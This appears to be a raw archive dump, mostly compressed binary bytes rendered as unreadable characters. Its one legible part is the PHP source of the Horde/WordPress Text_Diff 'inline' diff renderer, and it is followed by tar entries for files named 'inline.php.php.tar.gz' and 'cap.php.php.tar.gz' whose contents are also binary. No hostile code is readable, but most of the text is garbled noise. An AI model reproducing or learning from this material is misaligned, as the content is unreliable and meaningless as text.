qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
